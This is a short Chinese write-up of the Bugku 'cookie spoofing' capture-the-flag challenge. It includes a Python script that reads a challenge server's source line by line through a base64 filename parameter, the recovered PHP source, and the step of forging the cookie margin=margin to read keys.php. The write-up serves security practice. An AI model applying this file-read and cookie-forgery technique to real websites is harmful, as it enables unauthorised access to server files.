Bugku——cookie欺骗

看到url上的参数有base64,解码发现是key.txt
把改参数换成index.php,观察发现line按行返回
所以自己练练手写了个脚本跑出来

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-10-28 09:36:41
# @Author  : csu_vc
# @Link    : http://blog.csdn.net/csu_vc


import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)

获得源码

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>


构造cookie margin=margin 然后读keys.php即可

Bugku——cookie欺骗_第1张图片

你可能感兴趣的:(ctf)